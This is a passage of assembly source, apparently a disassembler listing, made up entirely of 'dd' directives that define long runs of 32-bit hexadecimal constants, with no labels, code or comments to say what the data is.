		dd 5A356882h, 0C689E80Ch, 211B3BB0h, 0B981669Ch, 6792536Ch
		dd 4ACC55E2h, 26DFF739h, 70255D7h, 0FFA634E9h, 9095FCCh
		dd 75487D29h, 3D5ECAE9h, 0C11710E4h, 12A9B834h,	4BBEC7ACh
		dd 0F205EDBh, 4581C13Fh, 0E9C3FC79h, 0F2FC0C6Fh, 4638056Ah
		dd 8ABF1011h, 27C748FEh, 0D029847Dh, 41CB53C1h,	0D20BF3CCh
		dd 9EB30406h, 84A6125Bh, 4CEDF74Eh, 0DF53B41Eh,	1A7209AEh
		dd 0CC516D49h, 1B774DB9h, 703E6390h, 0C3A84AA5h, 16CE5A77h
		dd 4CDD0BEEh, 0E824E58Bh, 2CD8AE90h, 9975541Eh,	3F6E1312h
		dd 7841FA0Ch, 767457E1h, 28AFF4EEh, 399095E7h, 7F826DF3h
		dd 0ABF4E7C4h, 0F46E444Ch, 52B07FE8h, 0D29519B2h, 888A137Ah
		dd 8726EED4h, 9EE7F20Eh, 6AA5BE2Eh, 7F55C861h, 2C444864h
		dd 81AE58C5h, 7BB7D7h, 0BC441068h, 33AB607Dh, 858070AEh
		dd 0C78080B0h, 6866DA04h, 0A3EC2861h, 0A3C4FE92h, 0DEFDA2AEh
		dd 2FFC77D5h, 0F531A54Ah, 0F3978621h, 0B1515300h, 0C980A40Eh
		dd 885C7F3Ah, 0B192CF54h, 8F29F930h, 0AB257512h, 0C96D9D3Dh
		dd 293AE807h, 0EBFE2528h, 0C302E5CEh, 3DEC320Dh, 30BC1560h
		dd 0D24C562Dh, 40088295h, 4B26EC32h, 6CC000D1h,	4E692557h
		dd 0B8FE92Dh, 5803619Dh, 872D5CE5h, 0D6F7F10Dh,	30CED908h
		dd 16FEF34Fh, 3D231F5Ch, 0BAEC0938h, 25447331h,	0F61E38C0h
		dd 0EA017E03h, 38C523E9h, 0E78BF1B1h, 2CA7EC59h, 5DDB6C55h
		dd 0CE83E918h, 3016F329h, 0C10C6679h, 801313BCh, 10BF0107h
		dd 334E0818h, 0B4E150A9h, 0E4302AA1h, 125B3096h, 0E6F1211Ah
		dd 0F32D1Ch, 1882BB6Ch,	9844507Dh, 0F5761399h, 3136ED4Dh
		dd 0FC68B9C2h, 327A7A78h, 0AD0A9B6Eh, 0B9509074h, 956A17AFh
		dd 5CB1B078h, 0F18C315Fh, 5150402Ah, 6E0B904h, 30B861C2h
		dd 428E4509h, 0D68E0F5h, 0AAD1BF86h, 20F8F096h,	0B9B7B85Ah
		dd 0B2D83051h, 74D45402h, 0E86B2E02h, 10FF6138h, 0F3C0BB07h
		dd 0A42D6412h, 7FE0843h, 63295E0Bh, 4DA4E510h, 10D250Ch
		dd 5D549AF7h, 0E2F1F5C3h, 73472A54h, 9115FFAh, 0AD3E1C57h
		dd 27D5D0E6h, 5F09E156h, 4466D320h, 0A362F1DEh,	0E308C906h
		dd 0E9F6C9D9h, 9CB47130h, 69C31D53h, 847F2427h,	0E4B13DE9h
		dd 2532E237h, 0E82796D9h, 0D2B85Bh, 50AB32Fh, 4FA4DDC3h
		dd 69E088C4h, 8987D8EBh, 12EDE15Fh, 286C180h, 27B958FEh
		dd 0D6810820h, 24437BBDh, 0E012EAC7h, 0FAF7296Bh, 0A8687098h
		dd 25466497h, 0E5852F8h, 774D33F8h, 37FA805Ah, 5816DA1h
		dd 0B30DCDE5h, 0F4BB8210h, 0BFDACE5Dh, 7959B214h, 5C95A04h
		dd 0C1CD023Ah, 0FE8003EFh, 0F5333A8h, 0C982162h, 0BB1857E4h
		dd 1818407h, 118A802Bh,	0B398EC4Dh, 0E101494Eh,	0C1809DB1h
		dd 0AE4E093Eh, 45AE0A0h, 0D03A2847h, 0BD7E762Ch, 1202CF4Fh
		dd 0F135C968h, 0BBEC8879h, 473E5A28h, 79E425CCh, 8DF7403Fh
		dd 6E4CEB95h, 6DC0454h,	50BF0B35h, 0A45E0898h, 0CB2DE9ECh
		dd 4B8CC8E3h, 0EC35809Bh, 0D028CE39h, 1E12DED6h, 0C4AE051Ch
		dd 0AE08130Fh, 48738262h, 0B8FBA5Fh, 2950E010h,	0A7D3E803h
		dd 0AE7B702h, 800BB359h, 8E1F9FF5h, 650CC162h, 8299DF87h
		dd 0E24E76DAh, 0CAD3401Ch, 5AD91847h, 0C68C4A01h, 1E42EB88h
		dd 0CB21C814h, 0A1D1F3D5h, 84185D5Ah, 0AEA4E768h, 880B1EDEh
		dd 6742F62Ah, 3A35B236h, 0E9557290h, 75C3435Eh,	21D28FBEh
		dd 1FB3803Bh, 0C112A559h, 6E8F400Ch, 5E6120B7h,	0CA855D4Eh
		dd 0E80D785h, 4B4F5182h, 12D5BC7Fh, 76E4BAE9h, 0EB5E4AF0h
		dd 38ADC705h, 78457503h, 0AFC49C05h, 4DE00B81h,	8620D871h
		dd 1EB58831h, 0F6F58607h
		dd 4D4E30D6h, 0D5E008EEh, 0DEB73D53h, 0FE5BFD81h, 0E6E580C5h
		dd 69BA9FC1h, 3518071Bh, 61B47F4Ch, 0D1BF0190h,	0C662423h
		dd 87822582h, 5E434B24h, 3FE23591h, 4C421E90h, 35077DE5h
		dd 0BB3C2C24h, 667FC38Bh, 0D6661F84h, 745BB32Dh, 0EC92CF67h
		dd 26B75A44h, 3B03226Bh, 8BC22BE0h, 6C29F122h, 15681C3Bh
		dd 165F250Eh, 0BBE91228h, 8B135DC0h, 8CC8D3A9h,	0F0303363h
		dd 0A4EC0C69h, 29030377h, 8368E9EBh, 0ADA2EF84h, 63188662h
		dd 0C542207Eh, 857709D7h, 0FAE8E444h, 81824A38h, 0CE57FBF2h
		dd 7AD50EE1h, 4043212Ch, 0EC00BDC9h, 8131C649h,	0EA01EDF5h
		dd 0EA292CD7h, 173A0BE9h, 52EEF1DAh, 0BAD03541h, 90D217ABh
		dd 7A44BE58h, 0FE4E98C2h, 3360F8E9h, 0D431685Dh, 3A747519h
		dd 24885901h, 0C044BA36h, 5FCE0AEDh, 287229Dh, 1DA341A0h
		dd 7E844CC1h, 282E713Dh, 0E30E983h, 6856B214h, 9D300F2Dh
		dd 0C0895E2Bh, 19B47BA3h, 2859ECD8h, 0DCBAD462h, 50560039h
		dd 57127168h, 33CD2C74h, 42AC220h, 0C167B44Bh, 0F43887E6h
		dd 0EA800222h, 0B46C1DAh, 555BA952h, 0A30C71D3h, 9EAE7B2h
		dd 0ED65D08Fh, 0D542FC8Bh, 0FB5F83C2h, 6C85EB8Eh, 5B7BB053h
		dd 0F936A7F9h, 16E98412h, 590930h, 0F5802ACBh, 0EE2869DEh
		dd 0FC6BA784h, 1E051C5Fh, 35746D00h, 4A3E5CBFh,	0F7CE01A8h
		dd 0ADFF55D5h, 2DC5E6Ch, 31261546h, 39A48280h, 0D29F340Bh
		dd 0F0D65EC4h, 950A7Fh,	790C2D67h, 0B941E929h, 0EE35762Ch
		dd 0BDA52C3Ch, 531E1330h, 139FF5A2h, 6F43A840h,	0D64F042Fh
		dd 9C7899BAh, 7B704819h, 39B4E1E7h, 0F84829C3h,	9BE2EC5Bh
		dd 0C5B6D15Bh, 4B2AA2C2h, 9ECADCB9h, 97D19EAAh,	6156EB96h
		dd 0FCD729B2h, 91078DCCh, 4D120922h, 0ECA3DD37h, 149B554Ah
		dd 0F65E2889h, 0FF2730Dh, 0DB77944Ah, 6C818845h, 0F3173C02h
		dd 0E8D85C50h, 6BE32E0Ch, 5BC09AD6h, 0BB1BDF68h, 9F21D5Ah
		dd 64FD537Fh, 0CB455833h, 8C94A512h, 6340267Ch,	0C5D45B86h
		dd 5AF3A70Fh, 75D8D126h, 0B3530A50h, 13C7FEEBh,	0EBAA533Bh
		dd 89B81595h, 52AC4660h, 2C0785B6h, 4F028B4h, 0B5E5724Ch
		dd 2F2A03C4h, 0FA2792B0h, 0EB5F991Eh, 0E477172Bh, 908AD06Ah
		dd 9A0B4689h, 0C9729460h, 2DD26E78h, 85878ABAh,	8FB854E9h
		dd 1058D131h, 8D39250h,	0DFB55D27h, 4D3044E1h, 8E28137Fh
		dd 4E3BB310h, 12A609F0h, 56B803Ah, 6031EE92h, 1F40EBF1h
		dd 0ED01552Ah, 0C8B4C780h, 52D19Ch, 0C019B180h,	6086FE1h
		dd 4DC980C3h, 6005E9C9h, 449F6FBDh, 4E16BD95h, 8994769Dh
		dd 0B8D7D49Fh, 9BD5552h, 4CAF1609h, 0D051206h, 0AFF8014Ah
		dd 0B328FF96h, 206EC711h, 6F5372E6h, 3149987Dh,	6230BDCBh
		dd 0B9BD3778h, 0F68E556Ah, 0FD1668DEh, 0A34E9EBEh, 0F42D1C36h
		dd 0DDE178A7h, 694DF997h, 6AC6AC00h, 0C6BE7861h, 0B6D208A0h
		dd 0C43B19A1h, 7CDF0F55h, 0AF1201E4h, 96ECCBB0h, 121C2C71h
		dd 0C1F37152h, 1AB0045Ah, 51A654D8h, 0B8114FB2h, 12B30947h
		dd 0FB837F28h, 241E9755h, 6FC33BBAh, 12D70102h,	0EB9648C0h
		dd 4BC88728h, 2DDA3059h, 2973186Eh, 551C6B8h, 51622E07h
		dd 0BD8A50ECh, 0E19C06D1h, 6ACC8BA1h, 2FC16223h, 817CB0C2h
		dd 4165350Eh, 0C08353FEh, 9792A07Bh, 0B0244102h, 74DE28E9h
		dd 4D2F0A8Bh, 478F63B7h, 0B9D45610h, 8DF32813h,	78DAF51Fh
		dd 152D58BBh, 1BA093E5h, 8250D361h, 8B53C0F8h, 0A4BA8072h
		dd 29FD2424h, 0A10BD31Fh, 974E7327h, 0F9538410h, 444D1053h
		dd 0D530AD3Fh, 41C380A9h, 58D88827h, 0B2CE8AAh,	4E19E937h
		dd 61EFBADDh, 0FC268713h, 99B0510h, 0D1590103h,	83080895h
		dd 2D6A762Fh, 3B025E41h, 0BF4E7BCAh, 0D2EC6621h, 26B1B32Eh
		dd 0EAADAC80h, 0D2F82ADh, 943EEC19h, 3206692Ah,	0F80FD77h
		dd 371FDAC2h, 50C02120h, 0E0B27BB8h, 0C7890D8Ah, 41A7A4E9h
		dd 0C97EBE28h, 0FDF56A18h, 248A0040h, 0FBE297A8h, 5A68B640h
		dd 1823611Fh, 0BE04FDCh, 754B2D66h, 1142D274h, 6A1E5514h
		dd 155DD620h, 0CEF9C9E9h, 2834B85Ah, 7E27E387h,	59C541D8h
		dd 0AA97342Fh, 18212516h, 0FBE402C1h, 0D8B2A895h, 15C80B2Dh
		dd 0AC047687h, 27ED106Fh, 597CC14Ch, 500E493Ch,	0E645FC88h
		dd 27B8158h, 3980147Ah,	6D0C0B5h, 66C580EDh, 0E818C804h
		dd 89B73DE9h, 541BB0CBh, 9544CCE4h, 0A440137Eh,	351AD00Ch
		dd 0EB9B9DE9h, 0A6EF8F07h, 24ECF733h, 0B7D5B12h, 94226AE9h
		dd 1C465A58h, 0D925F227h, 0C2FA4D8h, 0E57FC72Ch, 424FB2EEh
		dd 290B93F6h, 91FD58C1h, 6B61250Fh, 55B6E368h, 0B7CAE915h
		dd 0F0781029h, 0B22B85Ah, 1656454Dh, 50DBB527h,	7F806A1Eh
		dd 0E9475F64h, 827FB270h, 7D9455ACh, 429BD8C5h,	2E4E39FAh
		dd 133D881h, 3A554F01h,	4C59B4E0h, 0F600A626h, 3045181Dh
		dd 2D595DE9h, 2A1A8188h, 0E62F3D63h, 1C97178Ah,	3EECA0DDh
		dd 93269E31h, 0BA2A401Fh, 513C463Dh, 0A4F28101h, 296A2417h
		dd 9E21C931h, 0E6078A9Fh, 28702703h, 0F7E7FF0Eh, 9B4F29E9h
		dd 0DAD7C2BFh, 64C6056Eh, 0F11AE2B0h, 34C8F8F2h, 1042239Fh
		dd 0C729003Eh, 0A5CB37B1h, 0CFFBF829h, 0F3AD434Bh, 0ACE24B7Ch
		dd 0E4BDE410h, 4D03D418h, 3318F3F2h, 0C60C1CFBh, 46C502DDh
		dd 0A318792Dh, 0AEAFDE60h, 42427782h, 0EBF9F409h, 8BC4881Ah
		dd 4630FF94h, 227042E9h, 0F429469Fh, 0A9CA4B9Eh, 0DB30D765h
		dd 2D2A25BEh, 745074E0h, 2A6E180h, 1074E15h, 70102789h
		dd 0D4C89DEBh, 0C52C1AF5h, 2A12B64Ch, 7EA2BBFCh, 0DEF78B55h
		dd 0FD5151A0h, 6A54EE98h, 7F348BC2h, 2FBEFAECh,	2C255108h
		dd 53D2005Eh, 0DDF76ABAh, 0A4AA7FAh, 0C6FBA8Ah,	0DD623FC9h
		dd 42AE757h, 0E346F668h, 6C771232h, 2AA07C52h, 40223368h
		dd 61C542CBh, 2E34CEF3h, 535D7F4Dh, 80626CECh, 52785741h
		dd 0C486F927h, 486D1797h, 4521F0Fh, 90498464h, 358968ABh
		dd 4B03DB9Dh, 0BDC294F5h, 0E8A7EBC7h, 82FED1C6h, 285CD95Fh
		dd 2B912077h, 84864561h, 0AC203B1Bh, 183915Bh, 0EC40E7CFh
		dd 6471EC0Bh, 83EC81D2h, 9A49A84h, 8855F158h, 943787C0h
		dd 78A25A87h, 0A7C9C328h, 0B5A2622Ch, 7B7CBA0Bh, 2ECDC7F8h
		dd 167DC53Fh, 89F10F7h,	37CE1C62h, 4CE92640h, 5B99CB53h
		dd 48769902h, 4F02E397h, 0D33AEFBEh, 9497E6Ah, 0B1767F63h
		dd 6ED84941h, 29392EEDh, 58F9B800h, 0C5296456h,	0F4352BB5h
		dd 0C960F2DAh, 0BF305E43h, 162B0C6Fh, 294E2D7Ah, 80D0742h
		dd 8B14010Ch, 0D8AC2F2Ch, 13E393B4h, 0FC30AFFDh, 0BD011C18h
		dd 3A4B74D3h, 67587786h, 0FEF4F7F0h, 0FBB488F2h, 4D685780h
		dd 0B25A0336h, 0A97F3012h, 0D575C551h, 89E64113h, 40FCA5E1h
		dd 411DA2B9h, 0E4D019BBh, 308AB54Eh, 0D56B16F2h, 0E8730009h
		dd 97F3812Dh, 0F8291D27h, 206F01B4h, 1CE9FD7Dh,	26CC2B52h
		dd 0CD421F80h, 0F8EB5336h, 0FFAD4E5Ch, 3BEF83B1h, 0E982BCB8h
		dd 316ADA87h, 0D3F86BD7h, 0E7934035h, 367B0388h, 56E0D14Dh
		dd 4B4FA406h, 0C982CA3h, 63E31E6Eh, 592C2EB0h, 8A08660Bh
		dd 0AC5E131Bh, 0EFAC5AF2h, 50742C50h, 2F29D963h, 16465AD7h
		dd 0C183E935h, 899FBCE2h, 7759D2A9h, 7F4E98A8h,	0B3AF4BC4h
		dd 66F297E0h, 0AE75E9C2h, 92202952h, 0EA80F915h, 7DF747FCh
		dd 5849C731h, 73E98227h, 4544FDEEh, 32B21C4Eh, 0E34BC0B5h
		dd 740AC815h, 0F49A4DE9h
		dd 7D351F40h, 50C48003h, 8212F124h, 4F1D3C2Eh, 72D9E88Ch
		dd 0CB84945Dh, 0C1FC9C7Fh, 0B70F5C0Dh, 3FBE31C8h, 0B3F66C17h
		dd 2DD81Fh, 535E571h, 0E34B1548h, 7DA22CEEh, 361E1A00h
		dd 57747F05h, 511DB823h, 6C29072Dh, 91EDD716h, 14BB9CF6h
		dd 0DD342D80h, 0B230F655h, 0DE5256F6h, 970FB527h, 8C8B661h
		dd 86E47BF4h, 28769FD4h, 0DB95F844h, 0FE3012BBh, 0F11C06CFh
		dd 48652FFFh, 0C1FE5CC0h, 3572D8E9h, 4612BCE7h,	0E2A87FEAh
		dd 49922A3Ah, 0AF5BC09h, 0E62DDD23h, 6538A00h, 13390D52h
		dd 0B0A2E49h, 0D57A08A4h, 1A4B7C0Bh, 7030326h, 0EB5F03FEh
		dd 4ED46F3Ch, 688CDBD9h, 2D49C045h, 0FD31026Ah,	9D049261h
		dd 5C3D1280h, 0A8EDF96Bh, 6607F43Ch, 474D4B05h,	58BF6157h
		dd 0B0E8EA62h, 0D3B1FB2Dh, 0AC54AFh, 6354C37h, 81B868B9h
		dd 64C01798h, 3F2CF181h, 0E0475F10h, 151CC436h,	0DDA80249h
		dd 4EB9B302h, 75CF89AFh, 0BC0E240h, 277D35Ch, 835F86E2h
		dd 0F2A44143h, 8C3DD37Eh, 0EA04EDCEh, 616F2AFEh, 7849B082h
		dd 290504C1h, 9925890Eh, 5345ECEBh, 0C543DB25h,	50FF8048h
		dd 0D1F75E66h, 9CC1D9E4h, 213A4210h, 0D85A926Fh, 0B60E217Eh
		dd 1314C80Ah, 4B1B904h,	26DC02BEh, 2F46C1C3h, 0F170CEA1h
		dd 5D384460h, 282E0307h, 5EDAFE01h, 0AA231695h,	89112DCEh
		dd 0BD680FCBh, 68274B53h, 8264D3B2h, 0CC2085FEh, 7A255F05h
		dd 86047B3Ah, 0FF95B6D9h, 80D87A00h, 5F882EF6h,	752AECF7h
		dd 789FFD77h, 2AB95D20h, 0AB938F8Eh, 0EAA0C71h,	5EFAAD54h
		dd 16698B8Dh, 92C89FC4h, 45F1695h, 9E04FDCh, 2C9B745Bh
		dd 0EB805899h, 0B407D74Ch, 1ACBB587h, 9C38D792h, 9AB63F16h
		dd 2AA11565h, 4855CF7Fh, 0ABD1D262h, 0CEAF155Ch, 0DF7BA5E0h
		dd 0EEE8080h, 0D5B551AEh, 0E386C5C7h, 1C148FD2h, 2CAB5659h
		dd 5284D4FBh, 0C7EEFE88h, 59CE50E7h, 0F604585Bh, 0DA23E9D6h
		dd 0E24B80A7h, 2E7D946Ah, 0CE9D7AACh, 0F953DAD3h, 985F14F6h
		dd 0BBB0F5B8h, 27B3BA53h, 7F0462C7h, 681354D2h,	45E95D8Fh
		dd 0CCA29B2h, 10AD51D1h, 81CA4F50h, 0A4A2405Bh,	4648213Ch
		dd 1CF82028h, 52F77CBDh, 0E43D1625h, 0BF60756Ch, 157BE6F5h
		dd 0B0144C86h, 0ED71C616h, 13CCDEA8h, 0A1E2A3E3h, 0C4AD12E0h
		dd 4B1EAF78h, 0FD3C9839h, 0F95D5Eh, 0BB2D0B41h,	0BC0D7713h
		dd 0AA87A204h, 0B3422669h, 545003FEh, 862F9EB9h, 5AF3200Eh
		dd 0F37FE91Eh, 7F354B86h, 724888A3h, 8D340848h,	4ACABE3Eh
		dd 0D11C17D4h, 1CFD25A1h, 0C99A2549h, 4570267Ch, 0F53180F8h
		dd 6FF6F49Dh, 3A55A401h, 0C2EDD854h, 0EB9F34B8h, 0F42DF0F0h
		dd 0C1184A85h, 2A4066Dh, 1AA3DB57h, 0CD4079FAh,	99FA8084h
		dd 0D65DE1F6h, 7D6464Eh, 234C6735h, 0B008803Ah,	0ECC004DBh
		dd 0B8958302h, 0ACF6EEDAh, 3C71AAB0h, 0D962FD22h, 598E791Ah
		dd 0B9FA6A58h, 95DE60Eh, 595EC45Bh, 0F2EFC184h,	4A2A78D9h
		dd 0C350CBD6h, 6316678Dh, 0D7990E97h, 0B47AFC3Eh, 0CBCBE6BAh
		dd 0A268E45Ch, 0F7C6FD21h, 53386816h, 0C019760h, 0D11413D0h
		dd 17C4AEE5h, 159651C0h, 973058BFh, 0D713125h, 7F4BDD9Fh
		dd 5D897776h, 10CBEE81h, 86946AECh, 3EA402EBh, 2D017A3Ch
		dd 68C8E07Ch, 0D028543Fh, 8D078A44h, 2ED6D9BFh,	9B62062h
		dd 6C53883h, 0FB09AAB8h, 91845F5Eh, 4248B0Eh, 0F2FF8C18h
		dd 31E9C379h, 0C7450191h, 6FE610C1h, 6626501h, 0C4091C08h
		dd 8F6E2A1Ah, 0CB29605h, 0E58FE725h, 3BAF760h, 3CD36788h
		dd 0B51788E2h, 0EA61BAF2h, 0A77C3BFBh, 0C9DC03D3h, 0C890C130h
		dd 0D94D53E9h, 14F71394h, 83B497FCh, 0B95A7C5Ch, 7802A1ACh
		dd 5B5AFA36h, 5627FB5Ah, 8E1C7F54h, 0D9E45E9Fh,	0F145A45Ch
		dd 2A379B12h, 0DAA11B84h, 0E44EBC2Fh, 82E96CD0h, 0C111C7D0h
		dd 8202F01h, 7A656855h,	5D1A3E1Dh, 0E61C0F8Bh, 4EC7099Ah
		dd 85FE713Ch, 99091CCFh, 959484C4h, 9E7E54Eh, 742D086Ah
		dd 62DD7238h, 3B97F8F7h, 0AAFCB30h, 10482EE2h, 9C164AC5h
		dd 4153A24Bh, 585348B0h, 570989BBh, 48F74318h, 484C1F52h
		dd 3107215h, 0EA7E7EA3h, 0D93563BDh, 292A79D7h,	0B7AA2010h
		dd 543EC1BDh, 829CA66Eh, 71FE5FE9h, 0BA46B3A3h,	6F57B41Dh
		dd 2174D61Dh, 8FEFDC12h, 0B2D5133Fh, 0DDA1E1A8h, 0CEF0427h
		dd 0B90CC29Ch, 21135C0Eh, 2A0F3641h, 4D0D07FDh,	2D1FE160h
		dd 4C767E24h, 62055150h, 0FB67FE04h, 0E9400180h, 314B5B2Dh
		dd 2EF0B4FCh, 0B802F2B2h, 0E3F7A675h, 0E9099056h, 9A837830h
		dd 7CC2DD4h, 3EB86953h,	0ABCEB5F0h, 5E8F8FFDh, 6AF065A9h
		dd 589D534Fh, 0EFC9E02Eh, 33010A77h, 0E9FD315Eh, 0F33BF4C2h
		dd 7B5C3DC2h, 3728B24Fh, 0B4AB5B8Dh, 0F84B7D3Dh, 680C71AFh
		dd 7E8D2F7Bh, 0D65BCB2Eh, 6F3229AEh, 0D5390BB2h, 0D8A965DAh
		dd 2F5E1D32h, 5200F1A2h, 3FB96857h, 8598371Ah, 0CB5691CEh
		dd 31E70C4h, 418305ADh,	34A8651Dh, 365F7B2Ah, 67076210h
		dd 52304564h, 0CE58115h, 2C5E24ABh, 6614220Ch, 0B14DD8h
		dd 593308EEh, 2FE9DD31h, 4E667C0Eh, 7E699020h, 1A022FACh
		dd 0B9EDB710h, 8944A7B9h, 0B1A9971Fh, 6CBC6B8Ah, 28950CB5h
		dd 800EBED5h, 4003B950h, 56C79E0h, 0E9F10929h, 70208168h
		dd 0E6D40DF5h, 4EE0D249h, 4039EBF0h, 4C2D6807h,	0E49E984Eh
		dd 301BC554h, 11CEBF13h, 0AF1A4224h, 551E1948h,	5D2EAF05h
		dd 0D9FB6850h, 0A8626AC4h, 0ADB2F6EFh, 412613F8h, 0D69736E5h
		dd 793000E0h, 0E32EF5DFh, 64BBD3CEh, 0A462C5D1h, 8229683Ah
		dd 2AB0C055h, 0C4352CD1h, 88D20BF2h, 53A378Ch, 442E7B8Ah
		dd 18B0347Ah, 12157DBEh, 0BD90141h, 7AC7BFh, 0C35B2A70h
		dd 843F16BCh, 1961EC2Dh, 0EEC9705Dh, 9EA8080h, 5AD028AAh
		dd 14729578h, 58EC6D4Fh, 0AAE6BBB4h, 3C11014Bh,	28433B09h
		dd 0A8393BA2h, 0F2049A53h, 896F56F6h, 0C5ABE2EFh, 0CDFBE74Eh
		dd 0E608B37h, 71EEF003h, 7BF42723h, 4FF90B63h, 0D1337A60h
		dd 2BE5C98Bh, 9119A970h, 0E7FB0AF1h, 222740DAh,	0F8A969A9h
		dd 5D0840C7h, 5F49FD21h, 0A7CB3F45h, 2CA74BFh, 30428F55h
		dd 672DF552h, 3F63E739h, 20F51225h, 0B05022FEh,	0C8FE0F29h
		dd 0B6E5D0F6h, 0EE1D7499h, 10D522B0h, 1070F4Eh,	0C50370F6h
		dd 0E42F460Ch, 9C0F23C4h, 36898090h, 0EFDB2CFBh, 19E90709h
		dd 5A25C62Bh, 0B907002Eh, 6CE77DE6h, 0D50F429Fh, 98718C40h
		dd 0E9EB2FCEh, 15C5C0Fh, 0E12A61BEh, 0C67D8138h, 42AB418Bh
		dd 4BD90C8Fh, 825743E5h, 0BA002E8Dh, 7A4A3B9Fh,	40504E26h
		dd 5BEAC947h, 0F1EC1BABh, 0E4413B02h, 5ECD293Dh, 1F4788CAh
		dd 0F8AD5A17h, 0F8286705h, 1B89C73Bh, 51246C14h, 0CA0249B1h
		dd 0DF532C59h, 5BB59507h, 75CECA5Dh, 6B20A5D0h,	0F2801CC3h
		dd 340FEC8Fh, 36AEC10Ch, 0CFF405ABh, 108880E8h,	0DB74C332h
		dd 98B0AC6h, 0B7E47E6h,	60604C97h, 13EA20CEh, 4C70946h
		dd 1365C368h, 0C2B441AAh, 0E056A01Fh, 6C1D689h,	977E9F3h
		dd 0BDEF8664h, 0E0D535EAh, 0C2C7BE6Eh, 5FF821B4h, 10327B7Fh
		dd 6EF160Ch, 0AD58E9A3h, 209E9070h, 0B67ECE04h,	0E00A50BDh
		dd 0EAEEEADEh, 908DF5Bh, 0E26025E9h, 421EE5BBh,	0C18B11C2h
		dd 139E483Ah, 19822545h, 4B8B82FFh, 624557E7h, 1472843Fh
		dd 64AA3495h, 27E200E1h, 29468645h, 800CD095h, 4C26E908h
		dd 8F875D2Dh, 68E4F0FAh
		dd 69A40490h, 0D7996CF6h, 0D241559Eh, 5D7BA51Fh, 17DFEDF8h
		dd 0FE235A74h, 0DAF56420h, 3A4804E0h, 0ADAA78E9h, 7C522791h
		dd 0C261C252h, 2EF5B04h, 0F46A4728h, 592018D0h,	77D8E9B7h
		dd 82D9BFF7h, 0FC643A89h, 89CE9C9Dh, 0EA035AF0h, 81F9FF2Ch
		dd 2BED2BE5h, 0F2DEFBC5h, 6C09960Fh, 0BF4C783Dh, 21741DB2h
		dd 2A7FC660h, 1183B36h,	802AA51h, 0AC93DD58h, 0DFA41840h
		dd 0E9F1D04Eh, 0F241353Ch, 0E29301DFh, 17A66044h, 0EA3BF055h
		dd 84BAB29Eh, 7235094Bh, 1BC04C2h, 591A1B68h, 7318E0C6h
		dd 9EFB335Ch, 0F78919E6h, 0E3BB02D5h, 0A20500C3h, 435F9402h
		dd 81359ACh, 9CC4057Bh,	8B67AF54h, 0ABB60159h, 4428957Bh
		dd 3E7D8B05h, 10F8855Fh, 5E32082Dh, 0D6565D77h,	88E55C52h
		dd 0ADA647FBh, 1DA73514h, 1ABF013Fh, 551CFD10h,	655B4478h
		dd 0EC9055F9h, 0AE12854Ah, 5713A7F6h, 373B8CF7h, 7C336945h
		dd 52F32802h, 2E6820B2h, 34CEAC0h, 0E9150431h, 580AC735h
		dd 0E211058Dh, 0F884EF49h, 82210712h, 316A27DBh, 1440616h
		dd 0F9750368h, 0D48DA302h, 7B6850D4h, 81480F4Dh, 4A7D5B28h
		dd 0C665093Fh, 0DB427F71h, 0C28704F3h, 0C2C2560Bh, 85FD4F57h
		dd 0A24216E9h, 5EF384C7h, 1399CEEBh, 0A6D41F57h, 7B1D70D5h
		dd 7C5514B2h, 9C5DC4A6h, 0B84B899Ch, 2A86F7F9h,	5A951226h
		dd 9F1BFA50h, 0C40D83Ah, 37044179h, 70E8E9ADh, 5E8161FEh
		dd 9B800DCh, 48C52C65h,	41CC09BAh, 77895A59h, 9DDA16CEh
		dd 6EB4E71h, 2C9B7906h,	0AD275EF2h, 0E912F71Eh,	0CB40C022h
		dd 924441EEh, 2030B016h, 0BA029EA1h, 0D974D6Dh,	0B868FD09h
		dd 0BD480EADh, 0C2C92DA5h, 92BF837h, 53C63F5Ch,	51748410h
		dd 0F860D582h, 5282F1A6h, 5EF42578h, 0F0BD8D1Bh, 0AB2CB9A2h
		dd 0D726BA13h, 4B627904h, 0A38014C2h, 0BAC621D6h, 0A65F0BDh
		dd 0E6068ADh, 0B8508025h, 474F3A63h, 7F2962B7h,	0B0DF57E2h
		dd 0E094999h, 0E1C17E05h, 3009EB92h, 3CE297Dh, 4FFCB722h
		dd 828184AEh, 0DDA55C6h, 0F520FE77h, 7C517D60h,	0EE0CD71Eh
		dd 139D2F01h, 0B07BE605h, 205B328Ah, 508F90F3h,	0EFE79FE5h
		dd 0A3AA8934h, 7D8A5874h, 0BD0503BFh, 0B1713DC5h, 0AEE8FDF0h
		dd 0B7349A45h, 702CE55Ah, 5B1AEE27h, 0E907018Ah, 10342502h
		dd 73F1BFE8h, 68AE5912h, 0D12FE9D6h, 0EC25D20Ah, 110D2067h
		dd 0DEB10450h, 56234600h, 995FCD25h, 0D0F70136h, 0AA2DE0D1h
		dd 2E76D160h, 0E02B32F1h, 370E4E8Ah, 29E921E6h,	49ECF634h
		dd 4DAFE65Dh, 0BB5B6A9Fh, 4EB8CE24h, 1445B04Ah,	46630A2Ch
		dd 0B912F103h, 89F6B006h, 0C9C005Bh, 0AD5BD55h,	0CDF8358Fh
		dd 10623709h, 4DC40022h, 24269C11h, 39EFEE31h, 5C252980h
		dd 8BF20174h, 49EC345Eh, 0E696FAA8h, 0E80DE630h, 78AD242Bh
		dd 48080032h, 0D087182Dh, 6EE9F616h, 8E5B29F8h,	402216Bh
		dd 0A3121768h, 0CFD610D7h, 0F574BE03h, 6CD1D40Ch, 17D4627Fh
		dd 0D42012BDh, 4878631Bh, 6108F0Eh, 4FB80F91h, 0B9678050h
		dd 4F21CF4Ch, 59A087BBh, 99921A02h, 898BF509h, 0E4260178h
		dd 18C3F786h, 0D18400BEh, 0E4CA81EAh, 45581765h, 5FA403DDh
		dd 0C5E927AAh, 0ABA88756h, 0EEE0AF27h, 64A2A68h, 8DDFA1ACh
		dd 2E1CCD83h, 53925AD7h, 0E97CD617h, 1346E484h,	87F0C813h
		dd 0E0C33380h, 8185BB06h, 72A338A0h, 2CD70534h,	0E3AEA527h
		dd 48305B0Eh, 4BEB6851h, 466B8C4Eh, 404D3702h, 0D52E0EE9h
		dd 0BFD17CB3h, 0F66181C4h, 18204802h, 0D16CF505h, 0C1477812h
		dd 0EC728B9h, 0C1E0F240h, 0FDD24B5Ch, 0A52A1600h, 0F6F79B4Bh
		dd 0DA54649Ah, 7F94FDFh, 7AC2DC2Dh, 601C7357h, 509C6855h
		dd 4058B52Fh, 73437557h, 1F7990B6h, 0EFB44010h,	0A445DA8Eh
		dd 0ACB3AEF1h, 0AFF6CD16h, 72881F78h, 98347BDEh, 2F1BBE08h
		dd 3D6A86FCh, 0B0F7908h, 6077EBC1h, 0A03DC52Fh,	8203F7A7h
